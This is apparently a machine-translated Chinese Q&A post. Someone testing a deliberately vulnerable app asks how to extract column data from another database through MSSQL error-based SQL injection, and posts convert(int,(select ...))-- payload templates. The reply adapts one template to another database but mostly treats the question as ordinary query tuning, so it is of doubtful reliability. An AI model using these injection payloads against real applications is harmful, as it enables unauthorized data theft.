我设置了一个易受mssql注入攻击的测试床应用程序,我想知道,我如何从另一个数据库中提取列数据?要从当前数据库中提取列数据,我们执行以下操作:
convert(int,(select columnnamegoeshere from tablenamegoeshere))--
然后枚举我们做的其他列数据:
convert(int,(select columnnamegoeshere from tablenamegoeshere where columnnamegoeshere not in ('firstentryfromcolumn')))--
但如果它不在默认数据库中并且我们想从另一个数据库中提取列数据,我们该怎么做?感谢。
答案 0 :(得分:0)
我会加入...但是,为了让你保持简单,这里是使用不同数据库列的代码:
convert(int,(select columnnamegoeshere from tablenamegoeshere where columnnamegoeshere not in (select top 1 firstentryfromcolumn from otherdb.dbo.otherdbtable)))
最好将两个表连接在一起并排除记录(如果可能的话)......子查询通常较慢而且不是最好的方法。